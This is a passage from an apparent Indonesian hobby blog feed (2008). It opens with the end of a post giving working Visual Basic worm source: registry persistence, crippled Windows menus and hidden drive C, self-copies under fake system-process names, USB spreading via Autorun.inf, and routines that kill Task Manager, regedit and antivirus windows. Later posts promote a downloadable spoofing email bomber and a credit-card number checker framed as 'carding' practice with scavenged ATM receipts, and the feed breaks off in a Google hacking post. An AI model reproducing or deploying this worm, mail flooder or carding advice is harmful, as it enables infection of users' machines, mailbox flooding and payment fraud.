"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderSendTo &amp;amp; "\System.exe" 'System.exe berjalan pada saat startup&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'search pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'Ssearch pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH&lt;br /&gt;RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites &amp;amp; "\SalamKenal.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub GandaKeFlashDisk()&lt;br /&gt;On Error Resume Next&lt;br /&gt;If Dir(FlashDisk &amp;amp; "\Winlogon.exe") &amp;lt;&amp;gt; "Winlogon.exe" Then 'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian&lt;br /&gt;FileCopy FolderStartUp &amp;amp; "\Winlogon.exe", FlashDisk &amp;amp; "\Winlogon.exe"&lt;br /&gt;SetAttr FlashDisk &amp;amp; "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;End If&lt;br /&gt;BuatFileAutorunInf&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub BuatFileAutorunInf()&lt;br /&gt;'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi&lt;br /&gt;On Error Resume Next&lt;br /&gt;Open FlashDisk &amp;amp; "\Autorun.Inf" For Output As 1&lt;br /&gt;Print #1, "[AutoRun]"&lt;br /&gt;Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan Virus&lt;br /&gt;Print #1, "Open=Winlogon.exe"&lt;br /&gt;Print #1, "ShellExecute=Winlogon.exe"&lt;br /&gt;Print #1, "Shell\Open\Command=Winlogon.exe"&lt;br /&gt;Print #1, "Shell=Open"&lt;br /&gt;Close #1&lt;br /&gt;SetAttr FlashDisk &amp;amp; "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub GandakefolderIstimewa()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Set RegRun = CreateObject("WScript.Shell")&lt;br /&gt;FolderStartUp = RegRun.specialfolders("StartUp")&lt;br /&gt;FolderMyDocuments = RegRun.specialfolders("MyDocuments")&lt;br /&gt;FolderTemplates = RegRun.specialfolders("Templates")&lt;br /&gt;FolderNetHood = RegRun.specialfolders("NetHood")&lt;br /&gt;FolderPrintHood = RegRun.specialfolders("PrintHood")&lt;br /&gt;FolderFavorites = RegRun.specialfolders("Favorites")&lt;br /&gt;FolderSendTo = RegRun.specialfolders("SendTo")&lt;br /&gt;FolderPrograms = RegRun.specialfolders("Programs")&lt;br /&gt;On Error Resume Next&lt;br /&gt;'membuat virus dengan nama winlogon.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderStartUp &amp;amp; "\WinLogon.Exe"&lt;br /&gt;SetAttr FolderStartUp &amp;amp; "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama services.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderMyDocuments &amp;amp; "\services.Exe"&lt;br /&gt;SetAttr FolderMyDocuments &amp;amp; "\services.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama smss.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderTemplates &amp;amp; "\smss.Exe"&lt;br /&gt;SetAttr FolderTemplates &amp;amp; "\smss.Exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama csrss.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderPrintHood &amp;amp; "\csrss.Exe"&lt;br /&gt;SetAttr FolderPrintHood &amp;amp; "\csrss.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama Isass.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderNetHood &amp;amp; "\Isass.Exe"&lt;br /&gt;SetAttr FolderNetHood &amp;amp; "\Isass.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama SalamKenal.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderFavorites &amp;amp; "\SalamKenal.Exe"&lt;br /&gt;SetAttr FolderFavorites &amp;amp; "\SalamKenal.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama System.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderSendTo &amp;amp; "\System.Exe"&lt;br /&gt;SetAttr FolderSendTo &amp;amp; "\System.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama ctfmon.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderPrograms &amp;amp; "\ctfmon.Exe"&lt;br /&gt;SetAttr FolderPrograms &amp;amp; "\ctfmon.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br /&gt;BuatWord&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer2.Enabled = True&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;End If&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms Word&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br /&gt;BuatWord&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer2.Enabled = True&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer2_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br /&gt;BuatXls&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;Timer2.Enabled = False&lt;br /&gt;End If&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excel&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br /&gt;BuatXls&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;Timer2.Enabled = False&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer3_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;'menutup aplikasi yang berbahaya bagi virus&lt;br /&gt;FWnd = FindWindow("#32770", "RUN") 'jendela run&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "Avira AntiVir Personal – Free Antivirus") 'Avira Antivir&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("TMainForm", vbNullString) 'aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) &amp;lt;:d&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;FWnd = FindWindow("TApplication", vbNullString) 'aplikasi buatan Delphi&lt;br /&gt;SendMessage FWnd, WM_CLOSE, 0&amp;amp;, 0&amp;amp;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer4_Timer()&lt;br /&gt;'cari flashdisk&lt;br /&gt;On Error Resume Next&lt;br /&gt;For i = 0 To Drive1.ListCount - 1&lt;br /&gt;If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) &amp;lt;&amp;gt; "a" Then&lt;br /&gt;FlashDisk = (Drive1.List(i))&lt;br /&gt;Timer4.Enabled = False 'agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk&lt;br /&gt;Exit For&lt;br /&gt;End If&lt;br /&gt;Next&lt;br /&gt;GandaKeFlashDisk '&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer5_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;InfeksiRegistry&lt;br /&gt;'Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri&lt;br /&gt;GandakefolderIstimewa&lt;br /&gt;'menyalakan timer 4&lt;br /&gt;If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) &amp;lt;&amp;gt; "a" Then&lt;br /&gt;Timer4.Enabled = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)&lt;br /&gt;Cancel = 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;Cancel = 1&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-2522121197916888344?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/2522121197916888344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/08/membuat-virus.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/2522121197916888344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/2522121197916888344'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/08/membuat-virus.html' title='Membuat Virus'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8060334544575255659</id><published>2008-08-10T00:47:00.008+07:00</published><updated>2010-07-16T23:34:33.818+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HACK'/><title type='text'>Email Bomber (Mengebom Email Orang Lain)</title><content type='html'>Program kita kali ini agak berbahaya tapi semua materi di blog ini bukan untuk mengajak ke arah negatif tapi hanya untuk menambah pengetahuan kita saja, penulis tidak bertanggung jawab terhadap penggunaan dari materi yang telah diposting &lt;br /&gt;Kita akan membahas program mail bomber, program ini berfungsi untuk mengirim email dengan nama pengirim sesuka kita (misal:Admin@vbasiccode.com) padahal kita tidak memiliki server vbasiccode.com dan juga email dapat kita kirim dalam jumlah banyak hingga mungkin akan memenuhi mailbox server/tukang pos (tempat smtp server yang rela mengirim email tanpa diverifikasi), dan jika email yang kita tuju (email korban/email asli) dibuka maka surat/email kita akan juga beralih memenuhi mailbox korban.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Z9-0neOI/AAAAAAAAADE/xtuMz6TJhOg/s1600-h/gmaill.jpg" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Z9-0neOI/AAAAAAAAADE/VVQsEV7Z37E/s400-R/gmaill.jpg" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Zy5oXhOI/AAAAAAAAAC8/9rY8g42WLWk/s1600-h/emailbomb.jpg" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Zy5oXhOI/AAAAAAAAAC8/Fa6C6eC-oh0/s400-R/emailbomb.jpg" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Jadi prinsip dari Email Bomber ini adalah mengirim sebanyak-banyak pesan dengan alamat email palsu kita sehingga memenuhi server/tukang pos, dan jika si empunya email/korban menarik surat maka gantian korban yang mailboxnya kebanjiran surat kita. Akibat dari mail bomber ini adalah menghabiskan ruang hardisk server serta korban sehingga resourcenya habis. Seperti yang anda lihat pada gambar saya menggunakan email &lt;a href="mailto:tes@testes.com"&gt;tes@testes.com&lt;/a&gt; (palsu) dengan subject (Topik) dan Body/isi email (Tesemail) dan mengirimkan email ke alamat email saya yang asli sebanyak 10 dan ternyata 10 email berhasil terkirim walaupun oleh google ditempatkan dikotak SPAM.Untuk tips pilih server yang kira-kira mau mengirim email kita, misal pada pilihan saya pilih www.swampfoxairboats.com. Email saya jangan di bomb ya..untuk uji coba lebih baik pada email anda sendiri sayapun tidak pernah melakukan pada email orang lain sampai saat ini he..he..Semoga menambah pengetahuan kita.&lt;br /&gt;Silahkan &lt;a href="http://www.4shared.com/file/58392070/44398ce5/Email_Bomber.html"&gt;Download Project&lt;/a&gt; Di Download/Upload Gratis &lt;a href="http://www.4shared.com/ref/4563476/1"&gt;Join 4Shared Now!&lt;/a&gt;, Tetapi sebelumnya jika anda berkenan berikan rating pada artikel ini dengan mengklik tanda bintang di bawah ini, agar saya mengetahui artikel yang paling menarik untuk penulisan selanjutnya. Terimakasih.&lt;br /&gt;&lt;br /&gt;*Telah saya Update Aplikasi silahkan Download UpdateEmailBomber.zip&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-8060334544575255659?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/8060334544575255659/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/08/membuat-email-palsu-email-bomber.html#comment-form' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8060334544575255659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8060334544575255659'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/08/membuat-email-palsu-email-bomber.html' title='Email Bomber (Mengebom Email Orang Lain)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_48czvH0DaKc/SJ3Z9-0neOI/AAAAAAAAADE/VVQsEV7Z37E/s72-Rc/gmaill.jpg' height='72' width='72'/><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-7780364727175028193</id><published>2008-07-19T20:29:00.007+07:00</published><updated>2010-07-16T23:35:17.500+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Cek Nomer Kartu Kredit (Carding kah..?)</title><content type='html'>Program kali ini kita akan belajar untuk mengetahui keaslian nomor kartu kredit "seseorang", apakah nomornya benar atau hanya nomor asal-asalan.&lt;br /&gt;Jika anda pernah mampir ke dalam sebuah ATM (Mesin Uang), tentu anda pernah melihat struk pengambilan yang tercecer di lantai, nah nomor-nomor yang tertera di kertas struk tersebut merupakan nomor kartu kredit. Dengan nomor yang ada (jika ada sih, beberapa bank tidak mencetak nomor kartu kredit di struk) mungkin dapat digunakan seseorang untuk tujuan negatif. Jadi mulai sekarang simpan struk anda saat melakukan transaksi di ATM, dan ambil struk-struk yang tercecer di lantai ATM siapa tahu dapat digunakan untuk latihan carding misal belanja online di internet he..he..&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SIHtl6Z1wwI/AAAAAAAAACs/sHwjjue2nQc/s1600-h/false.bmp" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/_48czvH0DaKc/SIHtl6Z1wwI/AAAAAAAAACs/j67UhltpLgQ/s320-R/false.bmp" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SIHtqT-5daI/AAAAAAAAAC0/n882w5Cy-gc/s1600-h/True.bmp" imageanchor="1" style="background-color: transparent; border: 0px none; margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/_48czvH0DaKc/SIHtqT-5daI/AAAAAAAAAC0/sIb7Ohn35Hs/s320-R/True.bmp" style="border: 0px none;" wc="true" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Langsung saja Yang dibutuhkan dalam pembuatan program ini adalah :&lt;br /&gt;&lt;br /&gt;1. textbox dengan properti name = txtsimpan&lt;br /&gt;&lt;br /&gt;2. dua commandbutton dengan properti name CmdCek dan CmdDelete&lt;br /&gt;&lt;br /&gt;3. satu label dengan properti name lblStatus&lt;br /&gt;&lt;br /&gt;==============================================&lt;br /&gt;&lt;br /&gt;Masukkan semua code di bawah ini ke dalam form&lt;br /&gt;&lt;br /&gt;==============================================&lt;br /&gt;&lt;br /&gt;Function isEven(n As Integer) As Boolean&lt;br /&gt;&lt;br /&gt;isEven = True&lt;br /&gt;&lt;br /&gt;If n And 1 Then isEven = False&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Function CheckCard(CCnumber As String) As Boolean&lt;br /&gt;&lt;br /&gt;Dim Counter As Integer, TmpInt As Integer&lt;br /&gt;&lt;br /&gt;Dim Answer As Integer&lt;br /&gt;&lt;br /&gt;Counter = 1&lt;br /&gt;&lt;br /&gt;TmpInt = 0&lt;br /&gt;&lt;br /&gt;While Counter &amp;lt;= Len(CCnumber) If isEven(Len(CCnumber)) Then TmpInt = Val(Mid$(CCnumber, Counter, 1)) If Not isEven(Counter) Then TmpInt = TmpInt * 2 If TmpInt &amp;gt; 9 Then TmpInt = TmpInt - 9&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Answer = Answer + TmpInt&lt;br /&gt;&lt;br /&gt;Counter = Counter + 1&lt;br /&gt;&lt;br /&gt;Else&lt;br /&gt;&lt;br /&gt;TmpInt = Val(Mid$(CCnumber, Counter, 1))&lt;br /&gt;&lt;br /&gt;If isEven(Counter) Then&lt;br /&gt;&lt;br /&gt;TmpInt = TmpInt * 2&lt;br /&gt;&lt;br /&gt;If TmpInt &amp;gt; 9 Then TmpInt = TmpInt - 9&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Answer = Answer + TmpInt&lt;br /&gt;&lt;br /&gt;Counter = Counter + 1&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;Wend&lt;br /&gt;&lt;br /&gt;Answer = Answer Mod 10&lt;br /&gt;&lt;br /&gt;If Answer = 0 Then CheckCard = True&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub CmdCek_Click()&lt;br /&gt;&lt;br /&gt;If TxtSimpan.Text = "" Then&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = "Isi Dahulu TextBoxnya !"&lt;br /&gt;&lt;br /&gt;Else&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = CheckCard(TxtSimpan.Text)&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub CmdDelete_Click()&lt;br /&gt;&lt;br /&gt;TxtSimpan.Text = ""&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;TxtSimpan.Text = ""&lt;br /&gt;&lt;br /&gt;LblStatus.Caption = "Ketik No Kartu Yang Ingin Di Cek."&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub TxtSimpan_Change()&lt;br /&gt;&lt;br /&gt;If Len(TxtSimpan.Text) &amp;lt; 16 Then LblStatus.Caption = "Nomer Kartu Kredit Terdiri Dari 16 Angka" End If End Sub Private Sub TxtSimpan_KeyPress(KeyAscii As Integer) If KeyAscii &amp;lt; 47 Or KeyAscii &amp;gt; 57 Then KeyAscii = 0&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;=============================&lt;br /&gt;&lt;br /&gt;Akhirnya Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-7780364727175028193?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/7780364727175028193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/07/cek-nomer-kartu-kredit-carding-kah.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/7780364727175028193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/7780364727175028193'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/07/cek-nomer-kartu-kredit-carding-kah.html' title='Cek Nomer Kartu Kredit (Carding kah..?)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_48czvH0DaKc/SIHtl6Z1wwI/AAAAAAAAACs/j67UhltpLgQ/s72-Rc/false.bmp' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-913477597860410459</id><published>2008-07-06T01:16:00.008+07:00</published><updated>2010-07-16T23:36:02.726+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><category scheme='http://www.blogger.com/atom/ns#' term='Basic'/><title type='text'>Tool Google Hacking</title><content type='html'>Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U5kfQzI/AAAAAAAAACY/6DF86kXcfOM/s1600-h/GoogleHacking.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5219597560382964530" src="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U5kfQzI/AAAAAAAAACY/6DF86kXcfOM/s320/GoogleHacking.bmp" 